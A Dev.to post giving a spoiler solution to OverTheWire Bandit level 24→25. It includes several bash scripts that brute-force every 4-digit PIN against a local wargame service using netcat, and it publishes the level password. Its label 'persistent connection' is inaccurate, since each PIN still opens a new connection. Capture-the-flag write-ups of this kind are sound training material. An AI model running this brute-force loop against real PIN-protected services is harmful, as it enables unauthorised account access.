Solving bandit level:24-25 (Spoiler)
Source: Dev.to
Post‑mortem – Bandit 24 → 25
Struggle time: 3–4 hours
Complexity: 7 / 10 – the logic was straightforward, but I wrestled with the right syntax.
1️⃣ The Hunt (Offense & Strategy) – 50 %
I knew a loop was required, but I wasn’t sure how to stop it.
The key was to look for a signal from the service that tells us when the correct PIN has been found.
- I first tried connecting manually with a wrong password.
- The server always returned the same “Wrong” message for an incorrect PIN, so I could use that as a sentinel.
That observation let me focus on the loop logic and the syntax of the commands.
Script
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
PASS="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
# First (intentionally wrong) attempt – just to initialise $output
output="$(printf "%s 0000\n" "$PASS" | nc -q 0 "$HOST" "$PORT")"
# Iterate over every 4‑digit PIN (0000 … 9999)
seq -f "%04g" 0 9999 | while read -r pin; do
# If the server stopped saying “Wrong”, we have the right PIN
if [[ "$output" != *"Wrong"* ]]; then
echo "The server response is: $output"
exit 0
else
i=$((i + 1)) # iteration counter
output="$(printf "%s %s\n" "$PASS" "$pin" | nc -q 0 "$HOST" "$PORT")"
# Print progress every 100 attempts
if (( i % 100 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
fi
done
2️⃣ Architectural Reasoning – 30 %
Pin generation
Initially I stored the whole sequence (seq -f "%04g" 0 9999) in a variable, which meant the variable contained all possible pins. That made every attempt wrong.
The fix was to pipe the sequence into a while read loop, pulling one PIN at a time into the pin variable.
3️⃣ Defensive Thoughts – 20 %
If I were defending this service, I could introduce a small delay between the banner and the prompt for the PIN.
Because the script assumes it can send the password immediately after connecting, a delay would cause every attempt to be judged “Wrong” until the full banner is received, slowing down a brute‑force client.
Take‑away: timing can be a useful side‑channel leak.
Miscellaneous Notes & Experiments
-
Connecting from Bash
nc localhost 30002 -
Prompting the user (not needed for the final script)
read -rp "Press Enter to continue..." -
Capturing the server’s response
output="$(printf "%s %s\n" "$PASS" "$pin" | timeout 2 nc "$HOST" "$PORT")" -
Generating the 4‑digit PIN list (fastest I found)
seq -f "%04g" 0 9999 -
First (failed) attempt – why it didn’t work
Pin="$(seq -f "%04g" 0 9999)" # **Reference:** see the file `test.sh` for a complete example.
First Full Script
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
# Generate the PINs and test each one
seq -f "%04g" 0 9999 | while read -r pin; do
output="$(printf "$Passwd $pin\n" | timeout 2 nc "$HOST" "$PORT")"
if [[ "$output" == *"Wrong"* ]]; then
i=$((i+1)) # count attempts
# Print every 5th attempt
if (( i % 5 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
else
echo "The server response is: $output"
exit 0
fi
done
The script works, but it takes forever because a new TCP connection is opened for every PIN (nc + timeout).
Debugging the Connection Overhead
Debug Script #1 – limited range (0‑9)
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"
seq -f "%04g" 0 9 | while read -r pin; do
if [[ "$output" == *"Wrong"* ]]; then
i=$((i+1))
output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"
if (( i % 5 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
else
echo "The server response is: $output"
exit 0
fi
done
Debug Script #2 – checking nc exit status
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
output="$(printf "$Passwd 0000\n" | timeout 1 nc "$HOST" "$PORT")"
seq -f "%04g" 0 9 | while read -r pin; do
if [[ "$output" == *"Wrong"* ]]; then
i=$((i+1))
output="$(printf "$Passwd $pin\n" | timeout 1 nc "$HOST" "$PORT")"
rc=$?
echo "rc=$rc"
if (( i % 5 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
else
echo "The server response is: $output"
exit 0
fi
done
These snippets confirmed that the repeated connection setup (nc + timeout) was the main slowdown.
Final Working Version (no timeout, persistent connection)
#!/usr/bin/env bash
echo "Let's get this password"
echo
HOST="localhost"
PORT=30002
Passwd="gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"
# First try a known wrong PIN to initialise $output
output="$(printf "$Passwd 0000\n" | nc -q 0 "$HOST" "$PORT")"
seq -f "%04g" 0 9999 | while read -r pin; do
if [[ "$output" != *"Wrong"* ]]; then
echo "The server response is: $output"
exit 0
else
i=$((i+1))
output="$(printf "$Passwd $pin\n" | nc -q 0 "$HOST" "$PORT")"
# Print every 100th attempt (adjust as you like)
if (( i % 100 == 0 )); then
echo "Tried $i pins. Current pin: $pin"
fi
fi
done
nc -q 0tells netcat to close the connection immediately after EOF, avoiding the extra timeout delay.- The script now runs much faster while still printing progress every 100 attempts.
Personal Note
I tend to comment heavily while coding because my brain forgets the flow as soon as I look away. The extra comments may look messy, but they’re a lifesaver for me! 😄
Hope you enjoy the ride and find the script useful. Happy hacking!